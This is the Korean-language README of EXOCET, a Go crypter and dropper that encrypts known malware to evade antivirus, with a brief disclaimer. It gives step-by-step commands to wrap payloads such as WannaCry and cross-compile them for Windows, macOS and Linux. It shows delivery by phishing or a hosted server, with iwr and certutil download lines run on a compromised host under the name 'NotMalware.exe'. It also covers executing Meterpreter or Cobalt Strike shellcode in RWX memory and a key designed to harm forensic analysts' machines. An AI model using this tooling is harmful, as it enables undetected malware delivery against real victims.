EXOCET - AV 회피, 탐지 불가능한 페이로드 전달 도구
Chang Tan
AWS 공인 클라우드 실무자 및 솔루션스 아키텍트 어소시에이트
[email protected]
크립터 키의 유출을 방지하고 악성코드 분석가를 더욱 혼란시키기 위해 페이로드를 패킹해야 합니다. Themida와 같은 상용 최고급 패커는 필요하지 않습니다. 코드 서명 인증서 없이는 더 큰 의심을 불러일으킬 뿐입니다. 코드 서명 인증서가 없으면 Windows 시스템에서 SmartScreen이 자동으로 트리거됩니다. 이는 잠재적으로 원치 않는 프로그램(PUP), 즉 모든 악성코드 페이로드, 비콘, 지콘, 원격 액세스 트로이 목마 등에 대한 규칙이며, 코드 서명 인증서가 필요합니다. 돈은 최고급 패커보다 코드 서명 인증서를 구매하는 데 사용하는 것이 더 낫습니다.
go run exocet.go malware.exe outputmalware.go
env GOOS=windows GOARCH=amd64 build -ldflags "-s -w" outputmalware.go
upx --best outputmalware.exe
그런 다음 타겟에 페이로드를 드롭합니다. 피싱 이메일, 링크를 사용하거나 이미 셸 액세스 권한이 있다면 로컬에서 서버를 호스팅하는 방법 등으로 전달합니다.
python -m http.server 80'
그리고 손상된 머신에서 powershell 프롬프트로
iwr -Uri "http://yourip/outputmalware.exe" -OutFile "NotMalware.exe"
또는
certutil.exe -urlcache -split -f http://yourip/outputmalware.exe
를 실행한 후 outputmalware.exe로 실행합니다.
EXOCET는 AES-256 GCM 모드(갈루아/카운터 모드)를 사용하기 때문에 Metasploit의 'Evasive Payloads' 모듈보다 우수합니다. Metasploit의 Evasion Payloads는 쉽게 탐지되는 RC4 암호화를 사용합니다. RC4가 더 빠르게 복호화할 수 있는 반면, AES-256은 악성코드의 의도를 파악하기 훨씬 어렵습니다.

그러나 Metasploit을 사용하여 Evasive Payload를 만든 다음 EXOCET와 연결하는 것은 가능합니다. 따라서 EXOCET가 AES-256으로 복호화한 다음, Metasploit Evasive Payload가 RC4에서 자체 복호화를 수행합니다.
이전 프로젝트인 DarkLordObama와 마찬가지로 이 툴킷은 Veil-Evasion과 같은 전달/실행 수단으로 설계되었습니다.
그러나 EXOCET는 단일 코드베이스나 Python이 실행되는 플랫폼에 국한되지 않습니다. EXOCET는 Go가 지원하는 모든 지원 플랫폼과 아키텍처에서 작동합니다.
EXOCET는 효과적으로 크립터 유형의 악성코드 드로퍼로, WannaCry와 같이 쉽게 탐지되는 페이로드를 재활용하여 AES-CBC보다 안전한 AES-GCM(갈루아/카운터 모드)으로 암호화한 후, 대부분의 아키텍처와 플랫폼용 드로퍼 파일을 생성합니다.
기본적으로...
즉, 32비트 및 64비트 아키텍처를 의미하며 Linux, Windows, Mac, Unix, Android, iPhone 등에서 작동합니다. 인터넷을 거의 마비시켰던 1988년 Morris Worm(UNIX의 fingerd 리스너 데몬의 결함을 악용)과 같은 모든 것을 다시 실행 가능한 사이버 무기로 만들 수 있습니다.
EXOCET는 전적으로 Go로 작성되었습니다.
EXOCET를 실행하는 데 어떤 바이너리를 사용하든 Golang이 필요합니다. 기본적으로 크립터 .go 파일을 생성합니다.
sudo apt-get update && sudo apt-get install -y golang 실행go get github.com/tanc7/EXOCET-AV-Evasiongo run EXOCET.go detectablemalware.exe outputmalware.go
키가 자동으로 생성됩니다. 키는 64자 길이이며 bash와 cmd.exe 셸 파이프 리디렉터로만 구성되어 포렌식 분석가의 장치에서 예측할 수 없는 파괴적인 동작을 유발하여 키에 대한 무차별 대입 시도를 혼란시키고 방해합니다.
64비트 Windows 대상의 경우...
env GOOS=windows GOARCH=amd64 go build -ldflags "-s -w" -o outputMalware.exe outputmalware.go
그러면 outputmalware.exe 파일이 생성됩니다.
64비트 MacOS 대상의 경우
env GOOS=darwin GOARCH=amd64 go build -ldflags "-s -w" -o outputMalware.macho outputmalware.go
64비트 Linux 대상의 경우
env GOOS=linux GOARCH=amd64 go build -ldflags "-s -w" -o outputMalware.elf outputmalware.go
Android와 같은 다른 운영 체제의 매개변수는 github에서 이 참조를 확인하세요. Go 크로스 컴파일 참조
키는 여전히 strings 명령으로 찾을 수 있으므로, upx-ucl 명령을 사용하여 바이너리를 패킹하여 키를 숨기십시오.
또한 제가 만든 사전 빌드 바이너리가 있으므로 ./EXOCET 또는 EXOCET-Windows.exe를 실행하기만 하면 됩니다.
저, Chang Tan, 그리고 Exocet의 메인 모듈 및 서브모듈과 포함된 패키지의 제작자는 이 도구의 오용에 대해 책임지지 않습니다. 이는 단순한 침투 테스트 도구입니다. 승인되지 않은 보호 시스템 또는 승인되지 않은 정부 시스템에 대해 Exocet 출력 바이너리를 배포하는 것은 엄격히 금지됩니다.
APT41 및 NSO 그룹의 위협 행위자가 이 도구, 특히 go-memexec 메서드의 코드를 사용 및/또는 채택했다는 것을 알고 있습니다. 이 도구의 오용에 대해 연방 수사관이 접근하더라도 저는 책임을 지지 않습니다.
이는 Mimikatz 및 PowerShell Empire 개발자(위협 행위자 사이에서의 사용을 인지하고 자체 개발을 중단함)에게 일어난 일과 같습니다. 후임자들이 Empire의 개발을 이어받았으며, Covenant C2와 같은 무료 대안이 있습니다.
1982년 5월 4일, 포클랜드 전쟁 중 아르헨티나 수퍼 에탕다르 함대가 영국 해군 셰필드 호에 프랑스제 Exocet 미사일을 발사했습니다. 영국 해군의 미사일 저지 시도에도 불구하고 하나가 명중하여 셰필드 호를 침몰시켰습니다. 그 사건은 문자 그대로 아르헨티나를 세계 식민 강국에 대한 힘의 과시로 지도에 올려놓았습니다.
Onel de Guzman이 ILOVEYOU 바이러스로 한 행동이 필리핀을 사이버 위협으로 지도에 올려놓은 것과 매우 유사합니다.
.png)
그래서 이번 달과 다음 달은 저에게 바쁜 달이 될 것이며, 이러한 방법을 구현하는 데 지연이 있을 것입니다. 하지만 다음과 같은 새로운 AV 우회 기술을 구현하기 시작하게 되어 기쁩니다...
저는 매우 바쁜 사람입니다. 다음과 같은 우선순위가 있으며 프로젝트를 돕기 위한 도움과 풀 리퀘스트를 요청하고자 합니다. 해야 할 일은 다음과 같습니다.
약간의 도움이 필요합니다. 암호화된 셸코드를 실행하기 위해 CGO를 성공적으로 구현했지만 메모리 액세스 위반 종료 상태 0xc0000005가 발생합니다. CGOTest/working-template-shellcode-executor.go 파일이 실행되었기 때문에 DEP(데이터 실행 방지)와 관련된 것은 아닙니다.
문제 발견
알고 보니, 셸코드가 위치하는 메모리 페이지를 읽기, 쓰기, 실행 가능하게 만들기 위해, 즉 PAGE_EXECUTE_READWRITE를 ON으로 설정하려면 kernel32.dll과 ntdll.dll에서 VirtualAlloc을 호출해야 합니다. 아래의 메모리 액세스 위반 문제에 대한 참고 사항을 읽으십시오.

이것을 해결하면, CGO는 구현하기 매우 까다로웠지만, 이제 인라인 어셈블리를 실행하는 크립터를 만들 수 있습니다. 이는 지금까지 불가능하다고 여겨졌습니다.
참고: 이를 위해서는 Windows에 Golang과 MinGW 툴체인이 설치되어 있어야 하며, Windows에서 셸코드를 실행하고 생성해야 합니다. 그 이유는 CGO가 다른 EXOCET 모듈처럼 크로스 컴파일될 수 없기 때문입니다. 툴체인을 설치하려면 https://www.msys2.org/로 이동하여 가이드를 따르세요. 그런 다음 Windows의 환경 변수에 gcc를 추가해야 합니다.

1단계: 셸코드 생성. msfvenom Meterpreter 페이로드, Cobalt Strike 비콘, 또는 C 호환 형식의 사용자 정의 셸코드일 수 있습니다.

2단계: 셸코드의 바이트만 복사하여 따옴표를 제외하고 sc.txt와 같은 텍스트 파일에 저장합니다.

3단계: 셸코드 파일은 다음과 같아야 합니다. 원시 셸코드

4단계: 이제 명령 go run exocet-shellcode-exec.go sc.txt shellcodetest.go KEY를 실행합니다.
5단계: 실행을 시도할 수 있지만 어떤 이유로 메모리 액세스 위반 오류가 발생할 것입니다. 이는 아직 작업 중입니다.
분명히, CGO의 주요 제한 사항(크로스 컴파일을 금지하거나 극도로 어렵게 만듦) 외에도, 실행하려는 셸코드가 (WinDBG x64에서 분석된) RWX가 아닌 메모리 섹션에 위치한다는 문제가 있습니다. 즉, 셸코드의 메모리 실행을 명시적으로 허용하는 C 코드를 작성하지 않는 한 항상 액세스 위반 오류가 발생합니다.
다른 방법으로, 기본적인 Go 모듈 개발자들이 https://gist.github.com/mgeeky/bb0fd5652b234fbd1c7630d7e5c8542d에서 관찰한 방법은, Go의 Windows API를 사용하여 ntdll.dll 및 kernel32.dll과 상호작용하여 VirtualAlloc을 호출하고 RWX 메모리 페이지 영역을 지정하는 것입니다. 이 방법이 더 잘 작동하지만, 셸코드가 num-transformed 형식이어야만 작동하는 것으로 보입니다.
아직 작업 중입니다. 여러 프로그래밍 언어를 결합하여 적절한 셸코드 실행 모듈을 작성할 수도 있습니다.
안타깝게도 새로운 M1 CPU를 사용하는 MacBook용 사전 컴파일된 바이너리를 만드는 데 오류가 발생하고 있습니다. Golang 설치 문제일 수 있습니다.
┌──(root💀kali)-[/opt/EXOCET-AV-Evasion]
└─# GOOS=darwin GOARCH=arm64 go build exocet.go
# command-line-arguments
/usr/lib/go-1.15/pkg/tool/linux_amd64/link: running gcc failed: exit status 1
/tmp/go-link-477718799/go.o: file not recognized: file format not recognized
collect2: error: ld returned 1 exit status
어쨌든 타겟 플랫폼으로 악성코드를 컴파일하거나 크로스 컴파일하려면 여전히 Golang이 필요합니다.